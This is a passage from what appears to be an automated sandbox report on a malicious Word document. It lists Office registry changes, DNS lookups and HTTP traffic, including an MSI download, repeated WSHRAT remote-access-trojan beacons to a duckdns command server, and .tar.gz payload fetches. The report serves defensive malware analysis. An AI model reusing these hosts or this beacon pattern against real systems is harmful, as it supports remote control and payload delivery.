  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1601. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1603. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1605. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1606. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1607. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1"
  1682. ]
  1683.  
  1684. [*] Deleted Registry Keys: [
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\90v",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\z&t",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\F2A7D4\\F2A7D4",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1695. ]
  1696.  
  1697. [*] DNS Communications: [
  1698. {
  1699. "type": "A",
  1700. "request": "paroquiadamarinhagrande.pt",
  1701. "answers": [
  1702. {
  1703. "data": "188.93.230.15",
  1704. "type": "A"
  1705. }
  1706. ]
  1707. },
  1708. {
  1709. "type": "A",
  1710. "request": "ipapi.co",
  1711. "answers": [
  1712. {
  1713. "data": "104.25.210.99",
  1714. "type": "A"
  1715. },
  1716. {
  1717. "data": "104.25.209.99",
  1718. "type": "A"
  1719. }
  1720. ]
  1721. },
  1722. {
  1723. "type": "A",
  1724. "request": "ocsp.comodoca4.com",
  1725. "answers": [
  1726. {
  1727. "data": "t3j2g9x7.stackpathcdn.com",
  1728. "type": "CNAME"
  1729. },
  1730. {
  1731. "data": "151.139.128.14",
  1732. "type": "A"
  1733. }
  1734. ]
  1735. },
  1736. {
  1737. "type": "A",
  1738. "request": "brothersjoy.nl",
  1739. "answers": [
  1740. {
  1741. "data": "",
  1742. "type": "NXDOMAIN"
  1743. }
  1744. ]
  1745. },
  1746. {
  1747. "type": "A",
  1748. "request": "vemvemserver.duckdns.org",
  1749. "answers": [
  1750. {
  1751. "data": "104.244.75.220",
  1752. "type": "A"
  1753. }
  1754. ]
  1755. },
  1756. {
  1757. "type": "A",
  1758. "request": "doughnut-snack.live",
  1759. "answers": [
  1760. {
  1761. "data": "172.245.14.10",
  1762. "type": "A"
  1763. }
  1764. ]
  1765. },
  1766. {
  1767. "type": "A",
  1768. "request": "checkip.amazonaws.com",
  1769. "answers": [
  1770. {
  1771. "data": "52.206.161.133",
  1772. "type": "A"
  1773. },
  1774. {
  1775. "data": "52.200.125.74",
  1776. "type": "A"
  1777. },
  1778. {
  1779. "data": "checkip.check-ip.aws.a2z.com",
  1780. "type": "CNAME"
  1781. },
  1782. {
  1783. "data": "52.6.79.229",
  1784. "type": "A"
  1785. },
  1786. {
  1787. "data": "checkip.us-east-1.prod.check-ip.aws.a2z.com",
  1788. "type": "CNAME"
  1789. },
  1790. {
  1791. "data": "34.233.102.38",
  1792. "type": "A"
  1793. },
  1794. {
  1795. "data": "52.202.139.131",
  1796. "type": "A"
  1797. },
  1798. {
  1799. "data": "18.211.215.84",
  1800. "type": "A"
  1801. }
  1802. ]
  1803. }
  1804. ]
  1805.  
  1806. [*] Domains: [
  1807. {
  1808. "ip": "151.139.128.14",
  1809. "domain": "ocsp.comodoca4.com"
  1810. },
  1811. {
  1812. "ip": "104.25.209.99",
  1813. "domain": "ipapi.co"
  1814. },
  1815. {
  1816. "ip": "104.244.75.220",
  1817. "domain": "vemvemserver.duckdns.org"
  1818. },
  1819. {
  1820. "ip": "172.245.14.10",
  1821. "domain": "doughnut-snack.live"
  1822. },
  1823. {
  1824. "ip": "188.93.230.15",
  1825. "domain": "paroquiadamarinhagrande.pt"
  1826. },
  1827. {
  1828. "ip": "92.242.140.2",
  1829. "domain": "brothersjoy.nl"
  1830. },
  1831. {
  1832. "ip": "52.6.79.229",
  1833. "domain": "checkip.amazonaws.com"
  1834. }
  1835. ]
  1836.  
  1837. [*] Network Communication - ICMP: []
  1838.  
  1839. [*] Network Communication - HTTP: [
  1840. {
  1841. "count": 1,
  1842. "body": "",
  1843. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1844. "user-agent": "Microsoft-CryptoAPI/6.1",
  1845. "method": "GET",
  1846. "host": "ocsp.digicert.com",
  1847. "version": "1.1",
  1848. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1849. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nCache-Control: max-age = 89056\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Mar 2019 18:30:24 GMT\r\nIf-None-Match: \"5c9529c0-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1850. "port": 80
  1851. },
  1852. {
  1853. "count": 1,
  1854. "body": "",
  1855. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1856. "user-agent": "Microsoft-CryptoAPI/6.1",
  1857. "method": "GET",
  1858. "host": "ocsp.msocsp.com",
  1859. "version": "1.1",
  1860. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1861. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  1862. "port": 80
  1863. },
  1864. {
  1865. "count": 1,
  1866. "body": "",
  1867. "uri": "http://paroquiadamarinhagrande.pt/1/xvosya.msi",
  1868. "user-agent": "Windows Installer",
  1869. "method": "GET",
  1870. "host": "paroquiadamarinhagrande.pt",
  1871. "version": "1.1",
  1872. "path": "/1/xvosya.msi",
  1873. "data": "GET /1/xvosya.msi HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Windows Installer\r\nHost: paroquiadamarinhagrande.pt\r\n\r\n",
  1874. "port": 80
  1875. },
  1876. {
  1877. "count": 1,
  1878. "body": "",
  1879. "uri": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  1880. "user-agent": "Microsoft-CryptoAPI/6.1",
  1881. "method": "GET",
  1882. "host": "ocsp.usertrust.com",
  1883. "version": "1.1",
  1884. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  1885. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D HTTP/1.1\r\nCache-Control: max-age = 94765\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.usertrust.com\r\n\r\n",
  1886. "port": 80
  1887. },
  1888. {
  1889. "count": 1,
  1890. "body": "",
  1891. "uri": "http://ocsp.comodoca4.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEAui0B3Ly3d26KxlCXrBJUE%3D",
  1892. "user-agent": "Microsoft-CryptoAPI/6.1",
  1893. "method": "GET",
  1894. "host": "ocsp.comodoca4.com",
  1895. "version": "1.1",
  1896. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEAui0B3Ly3d26KxlCXrBJUE%3D",
  1897. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEAui0B3Ly3d26KxlCXrBJUE%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca4.com\r\n\r\n",
  1898. "port": 80
  1899. },
  1900. {
  1901. "count": 48,
  1902. "body": "",
  1903. "uri": "http://vemvemserver.duckdns.org:1425/is-ready",
  1904. "user-agent": "WSHRAT|C1C5B64F|Host|user|Microsoft Windows 7 Enterprise N |plus|nan-av|false - 12/6/2019|JavaScript-v1.2",
  1905. "method": "POST",
  1906. "host": "vemvemserver.duckdns.org:1425",
  1907. "version": "1.1",
  1908. "path": "/is-ready",
  1909. "data": "POST /is-ready HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: WSHRAT|C1C5B64F|Host|user|Microsoft Windows 7 Enterprise N |plus|nan-av|false - 12/6/2019|JavaScript-v1.2\r\nAccept-Encoding: gzip, deflate\r\nHost: vemvemserver.duckdns.org:1425\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n",
  1910. "port": 1425
  1911. },
  1912. {
  1913. "count": 1,
  1914. "body": "",
  1915. "uri": "http://doughnut-snack.live/klplu.tar.gz",
  1916. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1917. "method": "GET",
  1918. "host": "doughnut-snack.live",
  1919. "version": "1.1",
  1920. "path": "/klplu.tar.gz",
  1921. "data": "GET /klplu.tar.gz HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: doughnut-snack.live\r\nConnection: Keep-Alive\r\n\r\n",
  1922. "port": 80
  1923. },
  1924. {
  1925. "count": 1,
  1926. "body": "",
  1927. "uri": "http://doughnut-snack.live/bpvpl.tar.gz",
  1928. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1929. "method": "GET",
  1930. "host": "doughnut-snack.live",
  1931. "version": "1.1",
  1932. "path": "/bpvpl.tar.gz",
  1933. "data": "GET /bpvpl.tar.gz HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: doughnut-snack.live\r\nConnection: Keep-Alive\r\n\r\n",
  1934. "port": 80
  1935. },
  1936. {
  1937. "count": 1,
  1938. "body": "",
  1939. "uri": "http://doughnut-snack.live/mapv.tar.gz",
  1940. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1941. "method": "GET",
  1942. "host": "doughnut-snack.live",
  1943. "version": "1.1",
  1944. "path": "/mapv.tar.gz",
  1945. "data": "GET /mapv.tar.gz HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: doughnut-snack.live\r\nConnection: Keep-Alive\r\n\r\n",
  1946. "port": 80
  1947. },
  1948. {
  1949. "count": 1,
  1950. "body": "",
  1951. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
  1952. "user-agent": "Microsoft-CryptoAPI/6.1",
  1953. "method": "GET",
  1954. "host": "ocsp.pki.goog",
  1955. "version": "1.1",
  1956. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
